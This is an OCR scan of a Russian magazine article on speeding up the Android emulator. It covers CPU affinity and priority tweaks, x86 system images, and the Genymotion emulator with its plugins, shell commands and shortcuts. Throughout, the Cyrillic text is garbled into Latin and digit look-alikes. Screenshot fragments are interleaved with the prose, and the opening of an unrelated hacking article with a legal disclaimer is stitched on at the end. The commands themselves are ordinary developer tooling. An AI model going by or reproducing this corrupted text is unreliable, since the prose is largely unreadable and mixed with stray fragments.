TaK SMyrmTop 6yAeT coxpaHHTb CBoe cocTOHHi/ie MexAy 3anycKaMM, 6naroAapfl neiviy 



«xojiOAHbiPi CTapT» npoMcxoAUT 3HaHMTe/ibHO 6bicTpee (b agchtki/i pa3 6bicTpee). TaKxe 
xopoiuafl HAea — BbiAe/imb oiviy/mTopy AOCTaTOHHoe kojimhgctbo onepaTi/iBHofi naivmTi/i. 
B iua6^0Hax Nexus 4 i/i Nexus 5 jihmi/it ycTaHaBjinBaeTca paBHbiM 2 T6, nero 6o/iee neivi 
AOCTaTOHHO, ho, A^>Ke ec/in Tbi TecTMpyeiub npmioxeHne A-na Kai<oro-Hi/i6yAb Nexus One, 
o6beM onepaTMBHOM naivmTi/i Bee paBHO Jiynuje yciaHOBHTb He HHxe 1 T6. OxnaAKe oto 
He noMeiuaeT, 3aTO caM orviynflTop CTaHeT pa6oiaTb 6bicTpee. 

Eme oahh cnoco6 ycKopeHna — M3MeHMTb npi/iopmeT 3iviy.rmT0pa n noBecnTb ero 
Ha CBo6oAHoe hapo npoueccopa. B Windows sto moxho CAe/iaTb c noiviOLAbio CTaHAapT- 
Horo MeHeA>Kepa 3aAan. B Linux npnAeica BbmcHi/iTb PID SMy/iflTopa c noMombio KOMaHAbi 
«ps aux | grep emulator» (BTOpaa KO/iOHKa), a 3aTeM 3anycTMTb b kohcojii/i ABe KOMaHAbi: 



$ taskset -c 1 -p <PID> 
$ renice -15 -p <PID> 



Hy H nOCJieAHflfl OnTMMM3aU,Ha — OTKJlfOHMTb aHl/IMaU,l/lK) 3arpy3KM, HT06bl C3KOHOMMTb He- 

CKO/ibKO ceKyHA- OTKpbiBaeM «Run — ► Edit Configurations — > Default -> Android Application 
— » Emulator» m BCTaB.rmeivi CTpoKy -no-boot-anim b okho bboa3 Additional Command Line 
Options. 

C nOMOLAbK) BCeX 3TMX yXMlAPeHMM CKOpOCTb 3My/l^U,MM MOXHO nOAH^Tb Ha HeCKOJlbKO 

AecfiTKOB npou,eHTOB, OAHaKO xAaTb nyAa, KOHenHO xe, He ctoht. 



AVD Name: 

Device: 

Target: 

CPU/ABI: 

Keyboard: 

Skin: 

Front Camera; 
Back Camera: 

Memory Options: 

Internal Storage: 
SD Card: 



Nexus5 



Nexus 5 (4.95", 1080 x 1920; xxhdpi) 



Android 4.4.2 - API Level 19 



ARM (armeabi-v7a) 



0 Hardware keyboard present 



No skin 



None 



None 



RAM: 2048 



VMHeap: 64 



200 



MiB 0 



® Size: 
O File: 



MiD 0 



Browse... 



Emulation Options: □ Snapshot □ Use Host GPU 



□ Override the existing AVD with the same name 



Skin: 1080x1920 
Density: 480 

□ Scale display to real size 



Screen Size (in): 5,0 
Monitor dpi: 



96 



Scale: 



default 



□ Wipe user data 

0 Launch from snapshot 

0 Save to snapshot 



t 

flBe nocneflHwe onuuM ycKopaiOT sMyjiflTOp, 

HO MX He/lb3fl l/1CnOJlb30BaTb BMGCTG 

*~ B03M0>KH0CTnMM CHanUJOTHHra MO>KHO 

ynpaBJifiTb bo BpeMA 3anycKa BnpTya/ib- 
HoroycTpoficTBa 




nillOCbl METOAA: 

HeT Heo6xOAHMOCTM BblKaHMBaTb H HaCTpaMBaTb CTOPOHHMM cocJ)t; 

npocTOTa peweHi/m; 

apxwTeKTypa ARM , a sto 3HannT — jiyHuiafl coBMecTurviocTb npunoxeHufi 

M B03MOXHOCTb nMCaTb l/l OTfiaXMBaTb HaTMBHbIM KOA- 




MMHYCbl: 

He TaKoe 3HaHHTenbHoe noBbiweHne ckopocth, iok xoie/iocb 6bi. 



CflOCOB N?2 I 



M3EABJ1flEMCfl OT ARM 



Ec/im npuHHHa TOpM030B 3My.rmT0pa b apxMTeKType ARM, to noneiviy 6bi He yv\jv\ c Hee 
n He nepeK/iKOHMTbCfl Ha x86? Intel yxe tph roAa KaK nopinpoBana Android Ha cbom npo- 
u,eccopbi m He npocTO nepeAana koa npow3BOAHTermivi ycipoPicTB Ha 6a3e npou,eccopa 
Atom, a eme n Bbinoxmia x86-Bepcnio SMyrmTOpa m o6pa3 OC b ocJ)nu,nanbHbiM peno3n- 
Topi/ii/i Android. Bee, hto HaM HyxHO CAe/iaTb, — sto 3aMTM b SDK Manager h 3arpy3HTb 
o6pa3 OC Ana x86. 

HTo6bi CAe/iaTb sto m3 cpeAbi Android Studio, nepexoAUM b MeHho «Tools — > Android -> 
SDK Manager», xAeivi, KorAa 3anycTMTCfl SDK Manager, OTKpbiBaeM ceKu,Mio Android 4.4.2, 
CTaBMM ranoHKy HanpoTUB Intel x86 Atom System Image i/i HaxwviaeM Install. KorAa o6pa3 
6yAeT 3arpyxeH, OTKpbiBaeM «Tools — > Android — * ADV Manager» m co3AaeM HOBbifi bm p- 
TyanbHbiM AeBawc, Bbi6npaeivi HyxHbiPi Liia6noH, yKa3biBaeM wvm m Apyrwe onu.nn, a b none 
CPU/ABI Bbi6npaeM Intel Atom (x86). TaM xe CTaBMM ra/iOHKy HanpoTMB Use host GPU. 

C TaKMMM HacTpoMKaMM ais/iy/im-op pa6oTaeT HaMHoro 6biCTpee. OaKTMnecKM ero npo- 
M3B0AHTe/ibH0CTb 6yAeT Bbiiue npon3BOAHTe/ibHOCTM pearibHoro CMapTcJ)OHa, OAHaKO 
3a CKopocTb npwAeTCH 3anjiaTMTb OTcyTCTB h e m cepBi/icoB Google Play h TpyAHOCT^MM 
b pa3pa6oTKe m oxnaAKe npunoxeHMM, ncnonb3yK)iuiMx NDK. CKOMnnnnpoBaTb v\ 3any- 
CTMTb mx, KOHenHO, moxho, ho a/ia TecTupoBaHMA KOAa Ha apxmeKType ARM npwAeTCH 
BepHyTbca k CTaHAapTHOMy SMyrmTopy v\nv\ 3anycKaTb koa Ha pea/ibHOM xene3e. 



Packages Tools 
SDK Path; 

Packages 



•ft< Name 


API 


Rev. 


Si .i! us 




L_J f mui viv »<uim rwv ivitth vwr " 






□ Android SDK Du lid-tools 




19 0.3 


R, Installed 


U -t Android SDK Build tools 




19.0.2 


Not Installed 


(J * Android SDKRuBd tools 




19.0. 1 


- Not instated 


□ f Arxiroid SDK Hwltt-1 nuts 




19 


~ Not installed 


□ y- Android SDK Bund-tools 




18.1.2 


- Not installed 


n / Android SDK Build-tools 




18.1 


Not installed 


□ -/• Android SDK Build-toots 




19.0.1 


Not installed 


□ V- Android SDK Build-tools 




17 


Not Installed 


▼ DC Android 4.4.2 (API 19) 








U B Documentation for Android SDK 


19 


2 


Not Installed 


SDK Platform 


19 


3 


a Installed 


□ i SamfMns Int SDK 


19 


4 


- Not iriHtnllfrl 


□ m Android Wear AHM bABl v/a Syster 


19 


1 


- Not installed 


n »■ ABM EABI v7a System Image 


19 


2 


& Installed 



□ "w 1 Google APIs (x86 System Image) 
U Google APIs (ARM System Image) 
U TT Sauces for Anthokl SDK 

> DQ Android 4.3 (API 18) 

> np Android 4.2.2 (API \1\ 



19 
19 
19 



4 
4 

2 



Not Installed 
Not Installed 
Not tfj.sf>jft.-iy 



Show: E Updates/New v installed Obsolete Select New or Updates 
Sort by. • API level Repository Deselect Ail 



Install 3 packages.. 
Delete 2 packages 



CKaHMBaeM o6pa3 Android p,nn apxMTeKTypbi x86 



• oneHb BbicoKaa CKopocTb pa6oTbi; 

• npocTcrra peLueHi/iH, Bee, hto HyxHo cfle/iaTb, — sto CKanaTb o6pa3 v\ co- 

3AaTb HOBOe BMpTya/lbHOe yCTpOMCTBO. 

MHHYCbl: 

• OTcyTCTBue bo3moxhoctm OT^aflMTb HaTMBHbiM koaajih apxnTeKTypbi ARM; 

• OTcyTCTBue npmioxeHUM Google. 



CflOCOB N5 3 I 



MCnOJ1b3YEM CTOPOHHMM 3MYJ1SITOP 



BcKope nocne Toro, KaK Intel nopTnpoBa/ia Android Ha apxnTeicrypy x86 (a 6bmo sto eme 
bo BpeMeHa Android 2.3), noflBUJica npoeKT Android-x86, b paMKax KOTOporo Hana/iacb 
pa3pa6oTKa Bepcun OC A-rm CTaunoHapHbix IBM-coBMeon/iMbix l~IK, npeHMymecTBeHHO 
A/ih cy6HoyT6yKOB /lMHetiKM ASUS EeePC. Hapa6oTKaMM 3Toro npoeKTa BOcnojib30Ba.ncfl 
pa3pa6oTHMK AaHMSJib Oax (Daniel Fages) v\ Hana/i pa3BMBaTb cucTeMy AndroVM, koto- 
paa npeACTaB/ifljia co6om o6pa3 c npeAycTaHOBneHHbiM Android-x86 Ana BnpTyanbHofi 
MaujMHbi VirtualBox. B to Bpeivm (KorAa em,e He 6bino bo3moxhoctm npo6poca BMAeoKap- 
Tbi b CTa h Aa pT h o m SMyrmTOpe) AndroVM 6bi/i caMOM npon3BOAHTe/ibHoi/i 3My.ni/ipyeM0M 
BepcueM Android, nosTOMy npoeKT 6bicTpo Ha6pa/i nony/mpHOCTb m npeBpaTH/icfl b kom- 
MepnecKMM npoAyKT Genymotion. 

Genymotion ( genymotion.com ) npeACTaejmeT co6om CBH3Ky 1/13 VirtualBox, o6pa3a 
AHCKa c npeAycTaHOB/ieHHbiM Android-x86 v\ rpacf>nHecKoro i/im~epcj)eiica, KOTopbifi no- 
3BO^aeT6biCTpo 3anycKaTb BnpTya/ibHbie OKpyxeHMH h BbiKannBaTb Apyrwe o6pa3bi m nia- 
6/iOHbi M3 ceTM. Aono/iHHTenbHO TaKxe AOCTyneH nnarwH Eclipse (SDK) nnn IDEA 
(Android Studio), KOTopbiw no3BO/ifleT 6biCTpo 3anycTMTb SMyrmTop c TecTupyeMbiM npi/i- 
noxeHMeM np^MO M3 cpeAbi pa3pa6oTKn. 

Genymotion AOCTyneH a/ih Windows, OS X n Linux. npMneM eonn b nocneAHnx AByx ony- 
naax AOCTyneH TO/ibKO caM nHTepc^ewc 3anycKa h BbiKannBaHMfl o6pa30B, to ajih Windows 

MOXHO CKanaTb MHCTa/lJlflTOp «BCe B OAHOM», KOTOpbIM yCTaHOBMT KaK MHTep4)eMC, TaK 

m VirtualBox. HTo6bi nonynnTb B03MO>KHOCTbCKaHaTb.nfo6yio Bepcmo, npuiAeTca 3aperncTpn- 
poBaTbca Ha caMTe npoeKTa, npn stom 3a AonojiHirrenbHyio cJ)yHKu,noHa.nbHOCTb, TaKyio, Ha- 

npMMep, KaK B03M0>KH0CTb KTIOHklpOBaHl/lfl BI/ipTyanbHblX OKpyxeHMM M/1M H3MeHeHHfl IMEI, 

npnAeTca 3annaTMTb KaK MMHMMyM 99 eBpo b toa- 



[ jlmdlocalhost ~1$ . /Downloads/genymot ion-2 .2 .0_x64 .bin 
Installing to folder [/home/jlm/genymotionl . Are you sure [y/n] ? y 

- Trying to find VirtualBox toolset OK (Valid version of VirtualBox found: 

4.3.10_OSEr93012) 

- Extracting files OK (Extract into: [ /home/ jlm/genymot ion 

]) 

Installation done successfully. 

|You can now use these tools from [/home/jlm/genymotionl: 

- genymotion 

- genymot ion-shell 



[ jlm@localhost ~]$ 



YcTaHaB/inBaeM Genymotion b Linux 



B Windows n OS X ycrraHOBKa Genymotion cboahtch k CKana/i — 3anycTi/m, b Linux 
npi/iAeTca HeMHoro noB03HTbca. BMecTO naKeTOB Debian hjim RPM Genymotion none- 
My-TO pacnpocTpaH^eTCfi b BMfle wHCTa/iJiflUMOHHoro bash-CKpnma, KOTopbiM nocne 3a- 
nycKa 3aflaeT K)3epy HecKO/ibKO BonpocoB v\ nponwcbiBaeTca b CMCTeMy. nocne CKaHMBa- 
HMfl cKpi/inry Heo6xoAHMO AaTb npaBO wcno/iHeHi/iq, a 3aTeM 3anycTMTb b kohco/im (jiynuje 
M3 AOMaujHero KaTa/iora, TaK kbk ycTaHOBKa nponcxoAHT no OTHOcmeJibHOMy nym): 



$ cd ~ 

$ chmod +x ~/Downloads/genymotion-2. 2.0_x64.bin 
$ cd genymotion 
$ ./genymotion 



rioc/ie 3anycKa rpat^nnecKoro i/iHTepc^eMca Heo6xoAHMO cpa3y nepePr™ b HacTpoMKH 
m yKa3aTb cbom jiornH m napo/ib, ncno/ib30BaHHbie a/ih CKaHi/iBam/ia npmioxeHHfl. nocne 
3Toro no KHonKe «+» CTaineT AOdynHa B03MO>KHOCTb ycTaHOBKM o6pa30B M3 peno3n~ropnfl. 
KpoMe CTaHAapTHbix Nexus 5, Nexus 4, Nexus 7, b HeM TaKxe AOCTynHbi TaKwe Aefiaftcu, 
KaK HTC Evo, HTC One X, Motorola Moto X, Samsung Galaxy S4, Galaxy Note 3 m Apyrne. 
OT/iMHaKDTC^ ohm TO/ibKO TeM, hto niviefOT pa3Hbie Bepcun OC i/i HacTpoMKM BnpTya/iM3a- 
u,mm (o6"beM naM^TM, pa3Mep Ancn^ea h TaK Aci-nee). 



Settings 





General 


Network 


VirtualBox 


ADB 


Misc 



- General software settings 

0 Allow the software to report anonymous usage statistics to help us improving 

0 Notify me when my licence is about to expire 

0 Notify me when my activation is about to expire 

0 Remember my Genymotion Cloud credentials 
Username zobnin@gmail.com 



Password 



i • > • > i • • > • • i • ■ • > • > 



Cancel 



FloflK/itoMaeM Genymotion 
k CBoeMyaKKaymy 




INFO 

Bee BMpTya/ibHbie OKpy- 

)KeHMfl,C03AaHHbieC 

noMOinbio Genymotion, 

TaKXe nOHBHTCfl B ochob- 

hom MHTepobeMceynpaB- 
jieHMA VirtualBox, oflHaKO 
3anycKaTb mx oiryfla He 
peKOMeHflyeTca, TaK KaK 

HaCTb 4)yHKU,M0Ha/lbH0CTM 

6yfleinoTepjiHa. 



nocne nojiyHeHMH HyxHoro o6pa3a ero moxho 3anycTHTb, HaxaB KHonKy Play. CwcTe- 
Ma caMa HafiAeT VirtualBox v\ 3anycrnT c ero noMombio o6pa3. B Linux OHa MoxeT AaTb 
c6om, m TorAa Ha 3KpaHe noflBWTCH coo6uj,eHne c MHC^opMaunePi o HeB03M0XH0CTM nai/\- 
th abmxok BnpTya/iM3au,MM. 3to nponcxoAHT M3-3a OTcyTCTBMfl nHTepc^eiica ynpaB/ie- 



huh virtual box b /dev. HToObi co3AaTb ero, flocTaTOHHO Bbino/iHi/iTb cneAyKDmyio KOMaHAy, 
a 3aieM 3anycTMTb OKpyxeHne BHOBb: 



$ sudo vboxreload 



TUE. MAY 6 



Okho BMpTys/ibHoro ycTpoMCTBS Genymotion c 3/ie- 
MGHT3MH ynpaBjieHMfl cnpaBa 




® 



free for personal ijse 




WWW 

04)nunajibHbmcaMT 
Genymotion: 

qenymotion.com 

CaiiT npoeKTa 
Android-x86: 

android-x86.org 




INFO 

HTo6bi no/iyHMTb bo3mox- 
Hocrb 3anycKa HaTHBHoro 
ARM-KOAa b Genymotion, 
ncno/ib3yeM ARM-TpaHC- 
jiatop ( filetrip.net/ 
dl?4SU0rdcMRv ). 
Ero M0)KH0 npoiUHTb, 
npocTO nepeiaiuiHB 

B OKHO 3My/lflT0pa. 



Oco6eHHOCTM 

OflHa M3 MHTepecHbix oco6eHHOCTeM Genymotion — B03MOXHOCTb ynpaB/iaTb <t>yHKu>i- 
amm 3My/inpyeMoro ycTpoPiCTBa bo Bpervifl ero pa6oTbi. fl/m SToro b npaBOM Hac™ OKHa 
3My.nm~opa ecTb Ha6op KHonoK, c noMOLUbio KOTopbix mokho: 

• M3MeHMTb ypoBeHb 3ap^Aa 6aTapen m CTaiyc noflK/iKDneHM^ k 3ap^AHorviy ycTpOMCTBy; 

• BKJIKDHMTb GPS, B TOM Hl/IC/ie C B03MO>KHOCTbK) yKa3aTb npOM3BOJlbHbie KOOPAMHaTbl, 

TOHHOCTb onpeAe^eHna b MeTpax v\ HacTpom~b KOMnac; 
noBecnTb Ha cJ)pOHTa/ibHyK) v\nv\ 3aAHK)io Karviepy Be6-KaMepy l~IK; 

• ynpaB/mTb rpoMKOCTbio m no/ioxeHneM BMpTyanbHoro ycipoficTBa. 



n^aTHaa Bepci/in Genymotion no3BOJiaeT Ha JieTy MeH^Tb IMEI, CHwrviaTb CKpMHKacTbi m 3a- 
nycKaTb SMy/ifuop b pexwvie 1:1, KorAa KaxAbiM nuKce/ib Bi/ipTya/ibHoro 3KpaHa cooTBeT- 
CTByeT nuKce^io Ha SKpaHe flK. Bee nepeHwcneHHbie 4)vhku,hh CHa6xeHbi KJiaBHaTypHbi- 

MM KOM6nHaU,M51MM. 

BTopaa no/ie3HeMiuafl oco6eHHOCTb: noAAepxKa drug and drop. B okho SMyjiHTopa 



moxho nepeTacKMBaTb pa3Hbie Tunbi cj}awiOB, a oh carvi petunT, hto c hmmm Ae/iaTb. CiaH- 
AapTHbie naKeTbi Android 6yAyT ycTaHOB/ieHbi b cucTerviy, ZIP-apxuBbi, coAepxaLu,ne npo- 

LUMBKy W1M MOAHC^MKaUMM, — yCTaHOBJieHbl C nOMOIAbrO KOHCOJ1M BOCCTaHOB/ieHMfl, a Bee 

ocTa/ibHbie Tunbi (J)aM/iOB — CKoni/ipOBaHbi b KaTa/ior /sdcard/Download/. 

C BepcMM 2.0.0 Genymotion pacnpocTpai-meTCfl 6e3 c|)i/ipMeHHbix npn/ioxeHMM Google 
(b tom HMC/ie MapKeTa), ho hx jierKO ycTaHOBMTb, nepeTami/iB b okho eMy/iHTopa ZlP-ap- 
xmb c Ha6opOM gapps (B3HTb ero moxho, Hanpi/iMep, 3Aecb ). 



(9, 



Pluqins 



Gradle 
Inspections 
Language injections 

► Maven 

► Schemas and DTDs 
Scopes 

Spelling 
Tasks 

lemplate Data Languages 
Terminal 
«• Version Control 

IDC Settings 

Appearance 
Console Folding 
Debugger 

► Fritfnr 

Emmet (Zen Coding) 

External Diff Tools 

txtemai lools 

File and Code Templates 

File Types 

General 

I ITTP Proxy 

Ifuayes 

Intentions 

Java FX 

Keymap 

Live Templates 

Menus and Toolbars 

Notifications 

Passwords 

Path Variables 



Plugins 



Quick Lists 
TODO 
updates 
Usage Statistics 
Web Browsers 



Android Debiujnei 



S i A I: 

E 

0 ;'' Android Support 

0 0 Commander 
0 ;* Copyright 
0 CVS Integration 
0 ."' Git Integration 
0 ;* GitHub 



ihow. All plugins » 



Bundled 

Bundled 

Bundled 
Bundled 
Dundled 
Bundled 

0 Google Cloud Tools For Android Studio Bundled 
0 ,* Gradle Bundled 
0 . Groovy Bundled 
0/'hg4idea Bundled 
0 & llSn tor Java Bundled 
0 Intpllil ang Bundled 
0 JdvaFX Bundled^ 
0 .* JUnit Bundled' 
0 Mavcn Integration Bundled 
0 , * Properties support bundled 
0 Subversion Integration Bundled 
0 , Task Management Dundled 
0 Terminal Bundled 

0 TestNG-J RunHleH 

0 ;* Ui Designer (Core) Bundled 



<e7 



Provides visual editing support for Android 
layout files. 



install jet prams plugm... ) | Browse repositories. ., | | install plugm from disk. .. | 



OK 


Cancel 




Apply Help 



MaHejibynpaB/ieHHfl n/iarMHaMM b Android Studio 



flnamH 

Genymotion mo>kho CBA3aTb co cpeAOM pa3pa6oTKn c noMombio n/iarwHa, AOCTynHoro 
KaK A-n^ CTaHAapTHoro SDK (Eclipse), TaK h A-na Android Studio (IDEA). YcTaHOBMTb ero 
moxho nv\6o BpyHHyio (CKanaB c ocfjuuna/ibHoro caPiTa), nv\6o H3 peno3HTOpna IDE. Bto- 
Pom cnoco6 npeAnoHTHTe/ibHee, noaTOMy o HeM v\ noroBopurvi. MTaK, b Eclipse ydaHOBKa 
nponcxoAUT c/ieAyK)iu,nM o6pa3orvi: 

1. nepexoAUM b MeHKD «Help/lnstall New Software... ». 

2. B OTKpbiBLuervicfl OKHe HaxMMaeM KHonKy «Add...». 

3. B no/ie Name yKa3biBaervi Genymobile, b Location — http://plugins.genymotion.com/ 
eclipse. 

4. B noflBMBLueMCfl cnncKe Bbi6npaeM Bee nyHKTbi v\ Haxi/iMaeM Next. 

5. Connaujaervicfl c jinu,eH3neM m npeAynpexAeHnervi o tom, hto njiaruH He MMeeT u,mcJd- 
pOBOM noAnMCM. 

6. flepe3anycKaeM Eclipse. 



B IDEA noc/ieAOBaTe/ibHOCTb AewcTBMM 6yAeT nyTb Apyraa, ho b ue/ioivi Bee TaKxe npodo: 

1 . OTKpbiBaeM Memo File/Settings. 

2. B OTKpbiBLueMC^ okhg Bbi6wpaeivi pa3Ae/i Plugins n KJiw<aeM no KHonKe «Browse 
repositories... ». 

3. Bbi6npaeM b cnwcKe Genymotion v\ K/iMKaeM no KHonKe Download and install. 

4. ConnaiuaeMCfl c ycTaHOBKOM, HaxaB Yes, 3aKpbiBaeM okho Bbi6opa peno3MTOpna 
n okho HacTpoeK. 

5. HaxuMaeM KHonKy Restart, KorAa IDEA npeAnoxm nepe3arpy3i/n~bCfl. 

rioc/ie ycTaHOBKH njian/ma b Tyji6ape cpeAbi pa3pa6oTKM noflBHTca KHonKa Genymotion, 
noxoxaa Ha CMapTchoH co CMawiOM O.o bhvtph. Ilpn nepBOM HaxaTMM Ha KHonKy otkpo- 
eiC9\ okho HacTpoeK, b kotopom Heo6xoAHMO Bbi6paTb nyTb ao Genymotion. daHAapT- 
Hbie nym yciaHOBKn: 

• Windows: C:\Program Files\Genymobile\Genymotion; 

• OSX: /Applications/Genymotion.app; 

• Linux: /home/[user]/genymotion. 

npM KaxAOM c^eAyfOiAGM 3anycKe 6vaot OTKpbiBaTbca okho c Bbi6opoM BMpTya/ibHOM Ma- 
LUMHbi, KOTopyio moxho 3anycn/iTb, HaxaB KHonKy «Start...». 3anycKaTb BnpTya/ibHyK) Ma- 
LUMHy npnAOTca KaxAbiM pa3, KorAa noTpe6ye~rcfl OT/iaAKa, oah3ko caMOCTOHTe/ibHO ko- 
nnpoBaTb naKeT c npmio>KeHMeM Heo6fl3aTejibHO. nocne 3anycKa BMpTya/ibHOM MaiiiMHbi 
Genymotion aBTOMaTi/inecKH noAKniOHUT ee k xocT-CMCTeivie c noMombio ADB, nosTorviy 
A-nfl nepeMem,eHi/m npmioxeHMH Ha Hee moxho ncnojib30BaTb CTaHAapTHbin Ana-nor kom- 
nnrmu,wi/i/3anycKa. 3My.rmTop Genymotion 6yAeT rnvieTb i/imh Genymotion-VMNAME-@ 
IP:PORT, rAe VMNAME — sto mma BMpTya/ibHOM MaiuMHbi. 



List of available Genymotion virtual devices 



Name 


AOSP Version Genymotion ... IP Address Status 


Nexus 7 - 4.... 


4.2.2 

EEH 


1.2.0 




Aborted 



<~ 0KHO3anycKa 
BMpTya^bHoro 
OKpy^eHMfl 

C nOMOLi^bKD 

Genymotion 



New.. 



Start. 



Refresh 



KoMaHAHbifi MHTep4>euc 

y Genymotion ecTb KOMaHAHaa o6o/iOHKa, c noMombK) kotopom moxho ynpaB/im"b Ha- 
CTpoMKaMM BMpTya/ibHOM MaiuMHbi. Arm ee 3anycKa nepexoAUM b MHCTa/i^fnJ,noHHbiM Ka- 
Ta/ior CMCTeMbi v\ 3anycKaeM genymotion-shell. 
Haw6o.nee MHTepecHbie KOMaHflbi: 

• battery setmode [host | manual] — ycTaHOBMTb ypoBeHb 3ap^Aa 6aTapen paBHbiM 
xocT-cucTeivie (eoni/i penb mast o HoyT6yKe) mjim yKa3aTb caMOCTO^Te/ibHO (c i~iomo- 
Lu,bK) oneAyiomeii KOMaHAbi); 

battery setlevel — ycTaHOBHTb ypoBeHb 3apHAa 6aTapen (3HaHeHna ot 0 ao 100); 

• battery setstatus — Bbi6paTb CTaTyc 6aTapen (3HaHeHHH: Discharging, Charging, Full 
\ah\a Unknown); 

• devices list — no/ivHHTb cnncoK BnpTyajibHbix MaiunH; 
devices ping — nponuiHroBaTb BMpTya/ibHbie MaiuMHbi; 

• devices select — Bbi6paTb BMpTya/ibHbie MaiuMHbi Arm ynpaB/ieHkm; 

• devices factoryreset — c6poc ao 3aBOACKnx HacTpoeK; 

• gps [activate | desactivate] — BK/iK)HHTb/BbiK/iK)HHTb GPS; 

• gps [setlatitude|setlongitude|setaccuracy] — yKa3aTb MecTononoxeHwe v\ TOHHOCTb 
GPS; 

• gps setorientation — yKa3a~rb nonoxeHne b npocTpaHCTBe (Koivinac); 
rotation setangle — noBepHVTb vctpomctbo Ha yi<a3aHHbM rpaAyc; 

• android setdeviceid — yi<a3aTb IMEI (b n/iaTHOM BepCMM). 

ripenMyiAecTBO KOMaHAHoro MHTepcjDeMca coctomt b tom, hto, BO-nepBbix, oh no3BO- 
/meT 3acKpnnTOBaTb BMpTya/ibHyio Mawi/my A-rm 6ojiee vao6hom OT/iaAKM (npwviep 
Arm Linux): 

#!/usr/bin/bash 



# CHUxaew ypoBeHb 3apflAa 6aTapen Ha 1% Ka>KAyK) ceKyHAy 
GM="$HOME/genymotion/genymotion- shell -c" 
$GM "battery setmode manual" 
$GM "battery notcharging" 



for i in {100. .0}; do 

$GM "battery setlevel $i" 
sleep 1 

done 



BO-BTOpblX, erO MOXHO MCnOJlb30BaTb A/IH 6blCTpOM HaCTpOMKM yCTpOMCTBa. fl/m STOrO 

AOCTaTOHHO co3AaTb c|)aM.n, noMecTMTb b Hero HyxHbie KOMaHAbi m Bbi3BaTb genymotion- 
shell c onu,nePi -f: 

$ ~/genymot ion/genymot ion - shell ^-f^aPi/i - c - KOMaHAaMM 



Connection mode: local host 



I 1 

I No Genymotion virtual device running found I 
I Please, run at least one Genymotion virtual device to use this shell I 



Welcome to Genymotion Shell 
Genymotion Shell > help 



ist of available commands: 



ndroid informations related to Android system included in Genymotion distribution 

battery actions and informations related to battery sensor 

devices generic actions related to virtual devices (listing, selection, ...) 

exit quit this application 

genymotion informations related to Genymotion system 

gps actions and informations related to Global Positioning System sensor 

help display this help and display help for each verb 

pause make a pause (useful for automatic tests) 

quit quit this application 

rotation actions related to the rotation of virtual device 

version display version number of running Genyshell 

Genymotion Shell > 

KoMaHflHbiti nHTep4)eMC Genymotion 





fUllOCbl ME TO A A: 

oneHb BbicoKaa CKopocTb pa6oTbi; 
OTHOCMTe/ibHaa npocTOTa ycTaHOBKn; 

B03MOXHOCTb 6blCTpOM yCTaHOBKH JIK)6blX MOAH^HKaUMM, B TOM Hl/lC/ie 

gapps; 

MHOxecTBO nojie3Hbix npn pa3pa6o~n<e n oxnaAKe 0yHKUMM. 
MMHYCbl: 

OTCyTCTBUe LUTaTHOM B03MOXHOCTM OTJiaAHTb HaTMBHbIM KOA A-^ apXMTeK- 

Typbi ARM; 

OTcyTCTBwe npn/ioxeHHM Google no yMOJinaHwo; 
Heo6xoAHMocTb ycTaHOBKM CTOpoHHMx npn/ioxeHMM n n/iarnHOB. 



KjiaBuaTypHbie K0M6nHauMii Genymotion 

BblCTpOe OTKpblTHe OKOH HaCTpOMKM B03M02KHOCTGM BMpTya/ibHoro ycTpOMCTea: 

Ctrl + 1 — ypoBeHb3apHAa6aTapen; 
Ctrl + 2 — MecTononoxem/ie (GPS); 
Ctrl + 3 — npo6poc Kaiviepbi; 
Ctrl + 4 — 3anncb CKpMHKacTa; 

Ctrl + 5 — yAa/ieHHoe ynpaB/iei-ii/ie (b rmaTHofi Bepcun); 
Ctrl + 6 — M3MeHeHne IMEA (b n/iaTHOM BepcuM). 

CKDMHKaCTbl II CKDUHLUOTbi: 



Ctrl + Shift + S — 
Ctrl + Shift + V — 
Ctrl + Shift + E — 



CAG-naTb CKpMHLUOT; 

3anncaTb bi/iago; 

OTKpbiTb nanKy c 3anncflMw v\ CKpuHwoTaMM. 



YnpaB/ieHiie BupTya/ibHOM Maui whom: 

Ctrl + Fll — M3MeHMTb opneHTaunK) SKpaHa; 

Ctrl + R — BK/iKDHMTb cf)yHKu I MKD Pixel Perfect (b n/iaTHOM Bepcun); 

Ctrl + + — Ao6aBMTb rpOMKOCTb; 

Ctrl + y6aBMTb rpOMKOCTb; 

Ctrl + Backspace — KHonKa «Ha3aA >> ; 

Ctrl + Space — KHonKa «noc/ieAHne npnj"ioxeHHfl»; 

Ctrl + M — KHonKa «MeHio»; 

Ctrl + Home — KHonKa «Aomom»; 

Ctrl + Escape — KHonKa BicniOH@Hi/ifi. 

3My/inuMfl My/ibTiiTBH m AaTHMKa no/ioxeHiiq: 

flpaBblM K/IMK + MblUJb B/ieBO — npn6^M3MTb; 
npaBbIM K/1HK + MblUJb BnpaBo — OTAa/lMTb; 

npaBbiPi k/ihk + Mbiujb BBepx — HaK/iOH BnepeA; 

("IpaBblM K/1HK + MblUJb BHM3 — HaKJIOH Ha3aA! 

Shift + npaBbiM k/ihk + Mbiujb B/ieBo — noBOpOT npOTMB nacoBOM CTpe/iKM; 
Shift + npaBbiPi k/imk + Mbiujb BnpaBo — noBopoT no nacoBOM CTpe/iKe. 



BMECTO 3AKJH04EHMSI 

B 3tom CTaTbe a paccKa3a/i o Tpex pa3JiMHHbix BapwaHTax ycKopeHna SMy/iHTopa Android. 
KaxAbiPi M3 hmx MMeeT cbom njiiocbi m MMHycbi. JImhho pj]9\ Mei-m Han6ojiee npeAnoHTH- 
Te/ibHbiM BapnaHTOM OKa3ajicfl Genymotion — 6/iaroAapfl CBoePi npocTOTe n no/iHoft mh- 
Terpau,MM c VirtualBox, KOTopyio n nacTO ncnonb3yio f\nn Apyrwx 3aAan. Em,e oahh oneHb 
yAo6HbiM cnoco6 oxnaAKM — 3anycK npmioxeHMfl Ha peajibHOM ycTpOMCTBe. fl/ia 3Toro 
AOCTaTOHHO noAKJifOHMTb CMapTcJ)OH no ADB m Bbi6paTb ero b n/iaruHe ADT b Android SDK 
i/mi/i Android Studio. 30 



B3J10M 





XAKEPCKI/1E CEKPETbl nPOCTblX BELUEl/l 



WARNING 

BCfl MH(})0pMaUMJ1 

npeAOdaB^eHa mckjiio- 

HMTe/lbHO B 03HaK0MM- 

Te^bHbix u,en9\x. flwua, 
Mcno/ib3yiomne AaHHyio 
MH(j)opMaunio b npo- 

TMB03aKOHHblXUe^JIX, 

MoryT 6biTb npuB/ieneHbi 

K OTBGTCTBeHHOCTM. 




AjieKceii «GreenDog» TiopnH, 

Digital Security 

